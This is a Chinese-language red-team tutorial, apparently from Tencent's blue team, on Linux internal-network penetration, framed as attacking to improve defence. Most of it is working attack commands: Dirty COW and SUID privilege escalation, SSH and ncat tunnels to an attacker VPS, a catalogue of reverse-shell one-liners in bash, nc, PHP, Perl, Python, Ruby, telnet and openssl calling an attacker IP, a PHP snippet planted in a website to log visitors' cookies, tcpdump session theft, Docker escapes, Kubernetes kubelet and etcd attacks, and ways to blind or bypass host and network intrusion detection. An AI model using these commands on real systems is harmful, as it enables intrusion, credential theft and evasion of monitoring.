红蓝对抗之Linux内网渗透

2021-01-05
988

一、前言

上篇内网渗透(附录1)主要讲的是Windows这块,最近知识星球“腾讯安平密友圈”提到了一个问题“为什么内网渗透偏向于Windows”,笔者也在下面进行了相关回复,除了传统的信息收集、弱口令以外,Linux内网渗透也有很多可玩性。

1607689980_5fd366fcca31553bd9d6f.png!small

在服务器方面,Linux由于开源、稳定、灵活、社区支持等因素,市场占有率远比Windows大,并且广大业务逐步上云使用docker容器等原因,所以Linux渗透攻击也是蓝军极为常见和必备的技能。

本文将以蓝军攻击视角,介绍常用的Linux内网渗透的手法,包括提权、隧道、反弹shell、登录态、云安全和工具化,主要让大家了解内网渗透的手法和危害,以攻促防,希望能给安全建设带来帮助。

二、提权

Linux不像Windows有那么多的提权EXP,不会动不动就出现各种烂土豆系列,因此Linux提权常常成为一个难点。本章将介绍一些Linux上的提权手法。

2.1 利用内核漏洞进行提权

脏牛漏洞(CVE-2016-5195)是一个影响2007年-2016年长达9年发行的Linux系统的提权漏洞,恶意用户可以利用条件竞争获取ROOT权限。

这里以写文件的手段来演示下该漏洞利用方法。

本次漏洞环境如下:

1607690053_5fd36745ab376913e962d.png!small

根目录下存在test.txt:

1607690193_5fd367d1d0ca31737e714.png!small

普通用户只能查看而不能修改:

MTY4ODg1MDUyMzkwNjgxOQ_406154_jBxQ0oXLnZ2bx7BD_1607663457?sign=1607688324-764694269-0-46de022ee5c0e984117f83ab85181963

利用EXP成功写入文件到只读文件中:

1607690224_5fd367f07eb7198ba7bce.png!small

附上该漏洞的POC集/合地址:

https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs

 

笔者不太喜欢用此类EXP,包括Window上的溢出类漏洞,因为此类漏洞有可能会导致系统崩掉,对于客户环境、敏感系统还是慎用。

针对此类漏洞有些同学会有如下疑问:

Q:为什么我执行以后会卡死?

A:尝试使用反弹的方式,即交互式/半交互式的方法进行。

2.2 利用文件权限配置不当进行提权

当某个进程启动权限为ROOT,对应文件编辑权限为普通用户时,我们可以利用该问题点进行提权。

pspy(附录2)工具提供了普通用户权限即可监听进程信息,该工具原理很简单,循环遍历/proc下的值来获取进程参数信息:

1607690256_5fd368105b912ae9047a7.png!small

如果我们设置hidepid,该工具就会失效,如:

mount -o remount,rw,hidepid=2 /proc

该工具就什么输出都不会有,或者只有问号:

1607690285_5fd3682d8cd3b1695e93a.png!small

1607690540_5fd3692cea7ba15d3e554.png!small

这里我们使用pspy作为辅助演示(当没设置hidepid时)。

前期准备中,首先我们创建一个while循环,并使用ROOT用户循环执行/tmp/1.sh。然后当我们获取USER普通用户权限时,利用pspy可以监控到ROOT用户在持续执行/tmp/1.sh:

1607690552_5fd36938298fb3e1ec102.png!small

尝试查看/tmp/1.sh文件内容和权限,发现我们当前用户具备读写权限:

1607690562_5fd369427d39c5b9da27a.png!small

我们尝试替换文件内容,查看是否会以ROOT权限启动其中命令:

1607690572_5fd3694cef3d122c70952.png!small

发现成功提权,以ROOT权限启动自定义命令:

1607690583_5fd3695761021639a9bc8.png!small

2.3 利用SUID程序进行提权

当程序运行需要高权限,但是用户不具备高权限时,这时则可以给文件设置SUID,使得用户在执行文件时将以文件所有者的权限来运行文件,而不是运行者本身权限。

首先/tmp/test存在如下文件:

1607690597_5fd369659a923fcc900f7.png!small

正常执行结果如下:

1607690627_5fd369835110ff61bb541.png!small

当设置SUID时,执行结果如下:

chmod +s ./test

 

1607690644_5fd36994e1bb04a4698da.png!small

1607690654_5fd3699ea933f5f757cb1.png!small

执行结果依然是当前用户,为何?

这是因为在高版本Linux(附录3)中,如果启动bash的的Effective UID与Real UID不相同,而且没有使用-p参数,则bash会将Effective UID还原成Real UID。即如果就算有S位,但没有使用-p参数,则最终执行的权限依然是当前用户的权限。

可以使用setuid(附录4)使得bash当前Effective UID和Real UID相同来达到提权效果:

#include

main()

{

setuid(0);

system("whoami > /tmp/test.txt");

}

 

1607690672_5fd369b093d5386ae1ac0.png!small

我们可以使用如下命令来寻找服务器上设置了SUID的应用程序:

find / -perm -u=s -type f 2>/dev/null

 

1607690689_5fd369c1c1633da294119.png!small

下面列举几个常见的设置了SUID的应用程序提权手段。

  • nmap

nmap --interactive

!sh

 

  • find

find . -type f -exec /bin/bash \;

 

  • awk

awk 'BEGIN {system("/bin/bash")}'

 

  • strace

strace -o/dev/null /bin/bash

 

 

三、隧道

Linux上可以利用自带和第三方工具进行隧道开启,利用隧道,我们可以建立Socks连接、端口转发等操作。

3.1 SSH

Linux上耳熟能详的就是SSH了,我们来看下SSH常用的开启隧道的命令。

  • 场景a:在控制A机器时,利用socks代理进入A机器所在内网

ssh -qTfnN -D 1111 root@AIP

 

输入A机器密码,本地利用proxychains等类似工具连接本地的1111端口的sock5连接即可代理A机器的网络。

  • 场景b:如果控制A、B机器,A能够访问B,且能出网,B能够访问C,但不能出网,A不能访问C

A机器执行:

ssh -CNfg -L 2121:CIP:21 root@BIP

 

输入BIP机器密码,访问A机器的2121端口即是访问CIP的21端口。

  • 场景c:控制A机器,A能够访问B

A机器执行:

ssh -CNfg -R 2121:BIP:21 root@hackervps

 

输入黑客VPS密码,访问黑客VPS的2121端口即是访问BIP的21端口。

3.2 nc/ncat

服务端执行监听命令:

ncat --sh-exec "ncat 127.0.0.1 22" -l 80 --keep-open

 

客户端连接服务端的80端口即可SSH连接:

SSH root@serverip -p 80

 

3.3 portmap

服务端执行:

portmap -m 1 -p1 80 -h2 127.0.0.1 -p2 22

 

客户端连接服务端的80端口即可SSH连接:

SSH root@serverip -p 80

 

3.4 portfw

服务端执行:

tcpfwd 0.0.0.0:443 127.0.0.1:22

 

客户端连接服务端的443端口即可SSH连接:

SSH root@serverip -p 443

 

四、反弹shell

Linux上也存在一些自带命令/工具,来进行反弹shell得到一个(非)交互式shell。

下述命令中的yourip为攻击者监听的ip;yourport为攻击者监听的端口。

4.1 bash 

bash -c 'exec bash -i &>/dev/tcp/yourip/yourport <&1'

 

4.2 netcat

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc yourip yourport >/tmp/f

 

4.3 php

php -r '$sock=fsockopen(getenv("yourip"),getenv("yourport"));exec("/bin/sh -i <&3 >&3 2>&3");'

 

4.4 perl 

perl -e 'use Socket;$i="$ENV{yourip}";$p=$ENV{yourport};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

 

4.5 python

python -c 'import sys,socket,os,pty;s=socket.socket() s.connect((os.getenv("yourip"),int(os.getenv("yourport")))) [os.dup2(s.fileno(),fd) for fd in (0,1,2)] pty.spawn("/bin/sh")'

 

4.6 ruby 

ruby -rsocket -e 'exit if fork;c=TCPSocket.new(ENV["yourip"],ENV["yourport"]);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

 

4.7 telnet 

TF=$(mktemp -u); mkfifo $TF && telnet yourip yourport 0<$TF | /bin/sh 1>$TF

 

4.8 openssl 加密

服务端生成证书:

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

 

服务端监听:

openssl s_server -quiet -key key.pem -cert cert.pem -port 8888

 

受控端执行:

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect yourip:yourport > /tmp/s; rm /tmp/s

 

4.9 完全交互式shell

attack端执行:

stty -echo raw; nc -lp yourport; stty sane

 

victim端执行:

nc -c '/bin/bash -c "script /dev/null"' yourip yourport

 

现在ctrl+c也不会退出:

1607691211_5fd36bcb4c3a3cbb251c0.png!small

五、登录态

现在越来越多的系统接入SSO、零信任,用户友好度提升了,但是也伴随了大量风险,比如如果单点故障了怎么办。其他安全风险呢?如果我们拿下其中一台可信服务器的权限,是否也伴随着未做隔离的站点也沦为了能快速拿权限的攻击目标?

5.1 tcpdump

tcpdump是一款网络抓包的程序,在SSO、零信任的场景中,我们可以利用它来获取用户的登录态、Cookie等敏感信息,然后利用这些信息去登录其他未做隔离的站点。

下面是抓取http数据包的命令示例

tcpdump -s 0 -A 'tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x47455420 or tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354'

 

5.2 网站文件

除了使用抓包工具去进行敏感信息的抓取,我们还可以在网站本身去做一下手脚。

比如网站是php的,那我们可以在配置文件文件中,插入恶意代码,获取Cookie等信息,下面是代码示例

<?php

$fp = fopen('/var/www/html/cookies.txt', 'a');

fwrite($fp,json_encode($_COOKIE).PHP_EOL);

fclose($fp);

 

六、云安全

现在越来越多的业务开始上云,使用容器部署业务,那随之而来的也是对应的安全风险,包括不限于未授权访问、命令执行等漏洞。

6.1 docker

6.1.1 判断是否是docker环境

  • 进程数很少,比如少于10

1607691280_5fd36c10301226508694d.png!small

  • 常见的命令却没有,如没有wget命令

1607691298_5fd36c221c1cc7f204cd2.png!small

  • 存在/.dockerenv文件

1607691321_5fd36c39a57bab94e79a0.png!small

  • /proc/1/cgroup内包含"docker"字符

1607691347_5fd36c53a9b7030026a02.png!small

6.1.2 逃逸

逃逸是指我们在容器中逃逸到宿主机中。

6.1.2.1 特权容器

当容器是以特权启动时,docker将允许容器访问宿主机上的所有设备。

如下容器是进行特权启动(docker run --privileged)的,我们可以把宿主机磁盘挂载进容器里,然后进行相关的逃逸操作,包括不限于更改计划任务、文件。

fdisk -l|grep /dev/vda1

mkdir /test

mount /dev/vda1 /test

chroot /test

 

1607691363_5fd36c634ef0d2c971bae.png!small

6.1.2.2 Docker Socket

/var/run/docker.sock文件是Docker守护进程默认监听的Unix域套接字,容器中的进程可以通过该文件与docker守护进程进行通信。

1607691378_5fd36c7287a9fc9b34aed.png!small

当攻击者可控的容器内挂载了该文件,我们也可以对其进行逃逸。

首先我们用如下命令创建一个特权测试容器:

docker run -itd -v /var/run/docker.sock:/var/run/docker.sock d6e46aa2470d

 

比如我们控制了上述容器,并发现其挂载了docker.sock:

1607691393_5fd36c812f9cc92f648ee.png!small

那么我们可以利用/var/run/docker.sock创建特权容器(附录5):

docker -H unix:///var/run/docker.sock pull alpine:latest

docker -H unix:///var/run/docker.sock run -d -it --name rshell -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest

docker -H unix:///var/run/docker.sock start rshell

docker -H unix:///var/run/docker.sock exec -it rshell /bin/sh

 

最终发现逃逸成功:

1607691407_5fd36c8f58467995206bb.png!small

6.1.2.3 脏牛

利用漏洞章节处的脏牛漏洞提权也可以达到逃逸目的,这里不重复演示。

POC地址:

https://github.com/scumjr/dirtycow-vdso

 

6.1.3 未授权访问

当默认端口为2375的Docker Remote API对外未授权开放时,攻击者可以利用该漏洞进行getshell。

a、未授权攻击测试过程:

获取所有images列表:

curl http://host:2375/containers/json

 

获取运行中的容器:

docker -H tcp://host:2375 ps

 

b、getshell过程:

获取镜像:

docker -H tcp://host:2375 images

 

根据镜像创建容器,把宿主机根目录挂载到容器中:

docker -H tcp://host:2375 run -it -v /:/mnt/ image_id /bin/bash

 

创建容器后没自动进入容器的话,可以利用ps查看创建容器的CONTAINER ID:

docker -H tcp://host:2375 ps

 

然后进入容器:

docker -H tcp://host:2375 exec -it CONTAINERID sh

 

默认执行命令只能看到容器内的:

1607691445_5fd36cb57561992d2a015.png!small

进入到挂载进来的磁盘中,并切换根目录,则可以看到宿主机进程:

chroot /mnt sh

 

1607691468_5fd36ccc4bdc230a9b5db.png!small

因为挂载把宿主机根目录挂载到了容器中的/mnt目录中,就再次回到了上述逃逸的攻击手段了,其他就不再赘述。

6.2 kubernetes

kubernetes简称k8s,简单理解是拿来自动化部署容器、管理容器的框架。

6.2.1 API Server攻击

当我们获取到admin token时,可以操作API Server来控制集群。

curl -H "Authorization: Bearer $TOKEN" $APISERVER/api --insecure

 

也可以把admin token放置在~/.kube/config文件中,然后利用命令行工具进行后续操作:

kubectl get namespaces

kebectl get pods -n {namespaces}

kubectl exec -it -n {namespace} {podname} /bin/sh

 

6.2.2 kubelet 10250端口攻击

10250端口是kubelet API的HTTPS端口,该端口提供了pod和node的信息,如果该端口对外开放,攻击者可以利用公开api来获取敏感信息,甚至执行命令。

curl -k https://host:10250/pods

 

1607691494_5fd36ce65fb255bf5f772.png!small

根据上述获取到的信息在容器中执行命令:

curl -Gks https://host:10250/exec/{namespace}/{podname}/{containername} \

-d 'input=1' -d 'output=1' -d 'tty=1' \

-d 'command=whoami'

 

上述命令得到websocket地址,连接websocket得到命令结果:

wscat -c "https://host:10250/websocket" --no-check

 

当获取到admin token后,也可以利用该服务端口在pod中执行命令:

curl -k -H "Authorization: Bearer $TOKEN" https://host:10250/run/{namespace}/{podname}/{containername} -XPOST -d 'cmd=whoami'

 

6.2.3 etcd 2379端口攻击

etcd中存放着k8s集群数据,如果可以成功访问该服务端口,则可以获取集群中的敏感信息,包括k8s secrets、admin token、AKID等。

etcdctl --endpoints=https://host:2379 ls

 

带着cert访问etcd:

etcdctl --endpoints=https://host:2379 --cacert=ca.crt --key=etcd.key --cert=etcd.crt endpoint health

 

七、IDS

本章介绍的IDS包括HIDS和NIDS。

7.1 HIDS

HIDS涉及到如何绕过服务器上的agent。

业务服务器上默认都部署了agent,如何绕过这些agent也是一个很大的学问。这些agent常常会hook execve来获取和判断执行的命令是否恶意。

这里有几个思路和大家一起讨论:

  • 滞空LD_PRELOAD来绕过用户态的hook,busybox同理

  • 利用代码来执行命令

  • 利用ptrace进行日志混淆

  • 关闭或致盲agent通信

7.2 NIDS

NIDS涉及到如何绕过网络设备进行扫描。

在内网渗透中,我们会使用nmap去做网络探测,而nmap自带的一些特征会导致被安全设备识别和拦截。因此我们需要对nmap做一些修改,比如更改nselib/http.lua,把nmap字样删除:

1607691518_5fd36cfe046d8e40e1243.png!small

tcpip.cc更改windows窗口大小:

1607691529_5fd36d09331f4f1a66b1c.png!small

nselib/rdp.lua更改3389 cookie:

1607691542_5fd36d16950cff64c4c6e.png!small

也可以利用ipv6进行绕过(附录6)。

也可以利用curl进行简单的探测,curl能获取banner信息:

1607691554_5fd36d226f98a88bb12ca.png!small

八、工具化

当我们拿下跳板机/堡垒机此类服务器权限时,上面可用的命令少之又少,甚至连whoami都没有!因此我们需要编写一些适用的小工具来帮我们完成一些指定的工作,包括curl(附录7)、反弹shell:

1607691567_5fd36d2f50617d6ee82a8.png!small

总结

内网渗透博大精深,进入内网如何在不被发现的情况下快速获取目标权限也是重中之重,本系列的文章也只是抛砖引玉。腾讯蓝军也会持续和大家分享更多攻防知识,希望能够和大家共同成长,提高整体红蓝对抗水平。

文中涉及的技术信息,只限用于技术交流,切勿用于非法用途。欢迎探讨交流,行文仓促,不足之处,敬请不吝批评指正。

附录

附录1 红蓝对抗之windows内网渗透

附录2 pspy: https://github.com/DominicBreuker/pspy

附录3 bash: https://Linux.die.net/man/1/bash

附录4 setuid: https://man7.org/linux/man-pages/man2/setuid.2.html

附录5 创建特权容器: https://github.com/neargle/cloud_native_security_test_case

附录6 利用ipv6绕过ids: https://security.tencent.com/index.php/blog/msg/147

附录7 curl: https://github.com/SYM01/gosnippets/blob/main/curl/curl.go

 

转载时必须以链接形式注明原始出处及本声明

扫描关注公众号